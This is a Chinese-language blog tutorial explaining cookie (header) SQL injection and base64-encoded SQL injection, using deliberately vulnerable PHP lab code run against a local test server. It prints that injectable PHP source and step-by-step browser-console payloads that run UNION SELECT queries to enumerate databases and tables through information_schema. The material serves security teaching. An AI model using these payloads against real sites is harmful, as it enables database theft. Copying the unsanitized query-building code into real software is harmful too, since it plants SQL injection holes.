cookie注入&& base64注入 原理详解

前言:

什么是cookie注入?

cookie注入:

和一般的注入都一样,只是传参方式不一样。而cookie注入是以cookie方式进行修改注入。

GET注入就是在url网址后面加上需要进行的注入语句

POST注入就是在表单处进行的注入

cookie注入也可以理解为head头注入。比如xff头也是。

什么是head头注入?

顾名思义,就是请求包里面的那些请求,例如 user-agent 这个地方进行注入

在请求包里,有cookie,refer,u-a头,以及有些网址为记录ip,使用的就是xff(还有其他方式记录ip)

在这边进行注入,所以叫head头注入

 

什么是base64注入?

base64注入:

程序对GET的传参进行接收,并且对其进行解码,然后再放入查询语句中。

这时候我们可以编码,然后程序执行的时候,会把我们所编码的注入语句解码,再拼接到了原本程序要执行的代码中

 

正文:

0x01  cookie注入分析与实战

1)源码

<?php 
$id = $_REQUEST['id'];
$value="1";
setcookie("id",$value);
$con = mysqli_connect('127.0.0.1','root','root','test');
if (mysqli_connect_errno()){
    echo "连接失败:".mysqli_connect_error();
}
$result = mysqli_query($con,"select * from user where `id`=".$id);
if (!$result){
    printf("Error: %s\n",mysqli_error($con));
    exit();
}
$row = mysqli_fetch_array($result);
echo $row['username'].":".$row['password'];
echo "<br>";
?>

首先接受 $_REQUEST传参 或者也可以修改成 $_COOKIE(下面是 $_REQUEST的用法以及优先级)

$_REQUEST数组获取内容的优先级,其字母的含义分别代表为:E代表$_ENV,G代表$_GET,P代表$_POST,C代表$_COOKIE,S代表$_SESSION。后面出现的数据会覆盖前面写入的数据,其默认的数据写入方式就是EGPCS,所以POST包含的数据将覆盖GET中使用相同关键字的数据。

setcookie():是对其进行赋值一个cookie。

第二个 if 是,如果用户没有传参,就会进行报错。

也就是说,运行的流程:

首先接受超全局变量,request。这时候cookie的优先级大于 post,大于get。cookie > post > get

这样的话就会覆盖前面的值,所传的参数。然而这边的cookie传参是可以被我们所控制的。并且这个地方有跟数据库交互。

然而有时候get或者post这个地方注入,会被waf拦截(对于以前的版本)

这时候就可以用cookie

2)cookie注入的“姿势”

cookie注入有2种以上的办法

①.第一种,使用burp进行抓包 注入

 

②. 第二种,在控制台处进行 注入

document.cookie="id=1 and 1=1"

这时候刷新页面,依然可以访问。为了清楚。可以直接把 REQUEST 修改为  COOKIE

$id = $_COOKIE['id'];

但是这里的话,我们需要进行一次url编码

document.cookie="id="+escape("1 order by 4")

防止出错

 

3)注入语句步骤

我们首先使用order by 3。发现页面正常,order by 4 页面报错。

所以这里有3个字段,这时候我们使用前面的 union select进行注入

document.cookie="id="+escape("1 and 1=2 union select 1,2,3")

这时候看payload下面那一行被编码了,我们f5刷新一下,成功的出现了回显点

 

于是再进行爆数据库,表

爆库:

document.cookie="id="+escape("1 and 1=2 union select 1,database(),3")

爆表:

document.cookie="id="+escape("1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1")

接下来的步骤跟前面的 union注入一样,都是一种 注入语句

 

0x02 base64 源码分析 与 靶场实战

<?php
$id = base64_decode($_GET['id']);
$conn = mysql_connect("127.0.0.1","root","root");
mysql_select_db("test",$conn);
$sql = "select * from user where id=$id";
$result = mysql_query($sql);
$tr = mysql_fetch_array($result);
while($row = $tr){
	echo "ID:".$row['id']."<br >";
	echo "user:".$row['username']."<br >";	
	echo "pass:".$row['password']."<br >";
	echo "<hr>";
 
}
	mysql_close($conn);
	echo "now use: ".$sql."<hr>";
 
?>
 

这是源码,主要在于 这段

$id = base64_decode($_GET['id']);

这段代码会把接受的get传参变进行一次base64解码,也就是说,我们在进行注入的时候

需要先进行一次编码,才会被执行

实战:

其实本人有点小偷懒的,就简单的表示一下

http://192.168.209.138/test/base64.php?id=MSc=

注意观看,id= 这个后面的东西发现是一串看不懂的东西

其实这就是base64编码。这样的话,我们每次注入的payload都要进行一次编码

然后注入方法与步骤一样

接下来我就不做了,这里源码就不需要闭合了

 

文末

因为前面的比较重要。所以我写的比较多。只要前面的懂了。后面的也就懂了

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值